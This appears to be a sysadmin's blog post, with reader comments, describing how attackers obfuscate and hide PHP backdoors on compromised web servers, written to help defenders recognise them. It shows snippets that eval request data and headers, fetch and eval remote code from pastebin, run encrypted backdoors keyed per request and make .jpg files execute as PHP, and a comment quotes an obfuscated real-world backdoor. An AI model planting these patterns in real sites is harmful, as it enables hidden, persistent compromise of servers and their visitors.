PHP Backdoor Obfuscation Techniques

When an attacker leaves behind malicious PHP after a successful compromise, they typically make some attempt to obfuscate their code. While the title of this post is “PHP Backdoor Obfuscation Techniques”, these methods are also used to obfuscate other code as well, sometimes even in a poor attempt to protect legitimate code from reverse engineering and modification. I’ve been working in an environment with a large number of LAMP servers for several years now, and I’ve seen a lot of malicious PHP. Here are some of the more common (and a few less common) obfuscation techniques I’ve seen.

Ways to Execute Code (and a few other things that don’t quite fit in)

Good ‘Ol eval(base64_decode(
This is used way more often than it should be. It’s also generally pretty easy to find, both by manual review of a file and even with a ‘grep -r’.
It’s quite simple, and should be quite easy to understand if you know PHP (and maybe even if you don’t).

eval(base64_decode("ZWNobyAiaGkiOw=="));

Other than preventing scripts/programs/other things from detecting the stuff that has been base64 encoded (unless it decodes it, of course), I’m really not sure what the point of this even is. No, really. If you’re doing this, please stop. I cry a little every time I see this.
Sometimes the base64 encoded data is another “eval(base64_decode(‘more base64 encoded stuff here’)”. I’ve seen some code that has dozens of iterations of this. There are websites that de-obfuscate PHP, or you can write a small script to find the final code that’s being run.
Also, side note: ‘eval’ is not a function. I’m serious. It’s not. It’s a language construct. Look it up. I fully acknowledge that 99% of the time, this distinction makes no difference though.

Let’s Compress It!
I’m pretty sure nobody does this to make de-obfuscation more difficult, but I see it combined with other techniques sometimes, so it’s worth a mention.

eval(gzuncompress(base64_decode("eJxLTc7IV1D3yFQHAA8tAr8=")));

This just adds a layer of compression. Base64 encoding makes things a little bigger (3 bytes input = 4 bytes output), so this may be an attempt to offset the size increase, especially with multiple iterations of decoding, or the obfuscated code might just be large to begin with. There are a bunch of functions that may be used to uncompress the code. See here for some examples.

How about we swap some letters?
This is the same as the regular ‘eval(base64_decode(‘ stuff, but we perform really stupid, easily reversed translations on the string before we base64_decode it.
For example:

$code = 'MJAbolNvnTxvBj==';
$code = str_rot13($code);
eval(base64_decode($code));

or

$code = '==wOikGaiAyboNWZ';
$code = strrev($code);
eval(base64_decode($code));

or

$code = 'ZWNoby_iaGkiOw==';
$code = str_replace('_', 'A', $code);
eval(base64_decode($code));

There are so many stupid ways to do this. Let your imagination go wild. If it involves manipulating shitty code before you run eval on it and could be thought of by someone with an IQ of 80, it probably belongs in this category.

Shit! Admins are grepping for ‘eval’, let’s use assert()!
assert works basically like eval. You pass it a string, it evaluates it as PHP code. There is of course more to it than that, but when used in obfuscated code it’s pretty much a drop in replacement for eval.

$code = 'print("Hi");';
assert($code);

preg_replace with ‘/e’ – Deprecated for a Reason
OK, well it wasn’t deprecated because people were using it in backdoors, but it was deprecated for security.

preg_replace('/.*/e', 'print("hi");', '');

With the ‘/e’ option, preg_replace will perform text replacement like normal, but then evaluates the result as PHP code. This option was deprecated and replaced with preg_replace_callback because people weren’t escaping user input properly before passing it into this function.

Variable Functions
These are kind of like function pointers. They are usually used to make automated detection harder. They only work with functions, not with language constructs.

$func1 = 'as'.'se'.'rt'; //$func1 = 'assert';
$func2 = 'base'.'64'.'_de'.'code'; //$func2 = 'base64_decode';
$code = 'cHJpbnQgImhpIjs=';
$func1( $func2( $code ) );

It’s also common for hex encoding (and other things) to be used to further obfuscate the actual function names.

create_function (and anonymous functions)
Calling create_function allows you to dynamically define a new function and returns a unique name for it (the new function, that is). You can then call this function as shown above.

$func = create_function('$a', 'print("$a");');
$func('hi');

Staring in PHP 5.3, you can also create anonymous functions another way.

$func = function ($a)
{
	print($a);
};
$func('hi');

Callback Functions
You can also run code using callback functions. Many functions in PHP accept a user specified function to handle certain tasks. This is one more way to avoid using eval/assert/preg_replace etc.

call_user_func('assert', 'print("hi");');

or

$func1 = function ($a, $b)
{
	echo 'hi';
};
$ary = array(1,2);
usort($ary, $func1);

or

function handler($a)
{
	echo 'hi';
}
set_exception_handler('handler');
throw new Exception('');

Complex String Syntax
I don’t see this used very often, mostly in vBulletin backdoors. VB’s excessive use of eval makes this technique useful for hiding code. In most other cases, it’s value is limited.

$code='print("hi");';
echo "aa {${ eval($code) }} aa";

If you’re curious about how this works, see the documentation.

include() Your Stuff
You can also just use the include function (actually a language construct, whatever) to run your code.
If allow_url_include is turned on (probably not), you can host your malicious code remotely and include() it. There are other ways to do this that don’t depend on uncommon configuration options though.

include('http://pastebin.com/raw.php?i=FXsb4nn5');

If allow_url_include is turned on, you can include your code with a data URI.

include("data:text/plain;base64,PD9waHAKcHJpbnQoImhpIik7");

I’ve never actually seen either of those methods used in practice, probably because they depend on a non default configuration option that has a reputation of being insecure.
You can also hide your code in another file and then call include on that.

include('thumb.jpg');

Ways to Hide (and Store) Your Code

Store it Remotely
Rather than storing the malicious code on the compromised box, people sometimes store it remotely. This can be useful in a few different circumstances, when the attacker can execute arbitrary code but can’t write anything to the file system, if the attacker has multiple compromised hosts they can all share the same remotely stored code, the attacker can remove the code later, preventing admins from discovering exactly code was being run, etc. IMO, there are generally better ways to do those things, but I have seen this a few times.
It’s possible, but unlikely, that you can just include() a URL directly. If you can’t, there are many ways to download the code and just as many ways to execute it.
By default you can use the normal file functions to access HTTP URLs.

$code = file_get_contents('http://pastebin.com/raw.php?i=s55PQgHG');
eval($code);

cURL (their capitalization) is also usually available.

$ch = curl_init('http://pastebin.com/raw.php?i=s55PQgHG');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$code = curl_exec($ch);
eval($code);

Send the Code with each Request
Instead of storing poorly obfuscated code on the compromised machine, you can just send it with each request. You can trivially change the code you’re running, it (probably) can’t be discovered by the site operators, and it usually results in much less code stored on the server. This is used very commonly.

eval($_REQUEST['code']);

A GET request with PHP (or base64) in it tends to stand out in logs. POST requests may also stand out, although typically not as much. Instead, code/data is frequently sent in non standard HTTP headers, or in the message payload (aka POST data) of a request. Non standard headers are less likely to be logged and a GET request can have a message payload, well kind of anyway.

eval($_SERVER['HTTP_XXX']);

I’ve verified that GET requests with message bodies work with Apache 2.4. The RFC specifically says that some implementations may reject such requests, so I can’t say anything about compatibility with other software.

eval( file_get_contents('php://input') );

php:// URIs can be used to access stdin, stdout, etc along with the raw message body of an HTTP request. This can also be used in other places where remote or local files/resources can normally be used.

Actually Encrypt the Code
I’ve seen a few cases where the attacker actually encrypted the backdoor they left behind. I’m talking about actual, real encryption. For real. Really. They sent the key to decrypt the backdoor along with each request they made. I was so used to seeing people think that base64 encoding data actually protected it, that this left me mildly impressed.

eval( openssl_decrypt('7ssURMtU63XzT+gvN7jg4g==', 'aes128', $_SERVER['HTTP_KEY']) );

Mcrypt and openSSL should be available on most systems and offer a variety of ciphers and options to pick from.

Place the Code in an Existing File
This is fairly common. The backdoor code is placed in an existing file. The code is either just placed at the top of the file, or is placed somewhere in the middle of the file where the attacker is sure it will execute consistently and won’t break things. There really isn’t much to say about this.

Give the Backdoor an Unusual File Extension
Giving the backdoor a file extension not normally associated with PHP may help it avoid detection. Using an htaccess file, you may be able to make files with arbitrary extensions (or specific names) get run through the PHP interpreter. That way, code can be placed in a JPG or PNG file and still run.

<FilesMatch ".+\.jpg$">
    SetHandler application/x-httpd-php
</FilesMatch>

The above snippet will make all .jpg files be treated as PHP files.

<FilesMatch "^print\.jpg$">
    SetHandler application/x-httpd-php
</FilesMatch>

Or just a single file.
Using this method, a malicious file can actually be a real image (or something else) file, but still execute.

Controlling Execution of Malicious Code

Once malicious code has been added to a website, controlling when that code runs becomes very important. Code run at the wrong time can lead to the discovery of the malicious code by an admin or visitor. This largely comes down to security through obscurity. Files are frequently given names expected to fit in with other files in the directory, but that won’t be run accidentally. It’s also common for files to be password protected. For code that should run for regular users (in an attempt to spread malware or whatever), it’s normal to blacklist IP ranges and user-agents that belong to Google and other search engines. It’s also common to only run for people that have a search engine as their referrer. Cookies are also sometimes used to try to prevent the code from running more than once per visitor. This is sort of tangential to the topic of the post, so I’ll leave it at that.

These are some of the more common techniques I’ve seen. This list is by no means exhaustive.
If you have anything to contribute to this post, let me know!

Author: [email protected]

Comments

  1. Great article! Here’s another variation that I just found on one of my sites:

    $Keys = $_GET[“whpbpd”];
    $run_ioncubetesterplus = create_function(”, “\x40″.$Keys[8].”\x76\x61\x6c\x28\x40\x67\x7a\x75\x6e”.
    “\x63\x6f\x6d\x70\x72″.$Keys[8].”\x73\x73\x28\x40\x62”.
    “\x61\x73″.$Keys[8].”\x36\x34\x5f\x64″.$Keys[8].”\x63”.
    “\x6f\x64″.$Keys[8].”\x28\x27″.$IonTester.$Keys.”\x27”.
    “\x29\x29\x29\x3b”);

    The hex in the create_function call works out to ‘@val(@gzuncomprss(@bas64_dcod(”)));’

    So $Keys[8] must be ‘e’. Clever 🙂 $IonTester must be a gzipped base64 encoded string, but it won’t uncompress without the rest of the $keys array. So I replaced the php file that I found this code in with one that emails me the request parameters whenever it’s called. So hopefully they’ll provide me with the information I need to de-obfuscate this soon!

  2. Hello @wittski:
    found the almost exact same code on my wordpress site (wp-includes folder). Any new findings on this topic?
    Thanks in advance!

Leave a Reply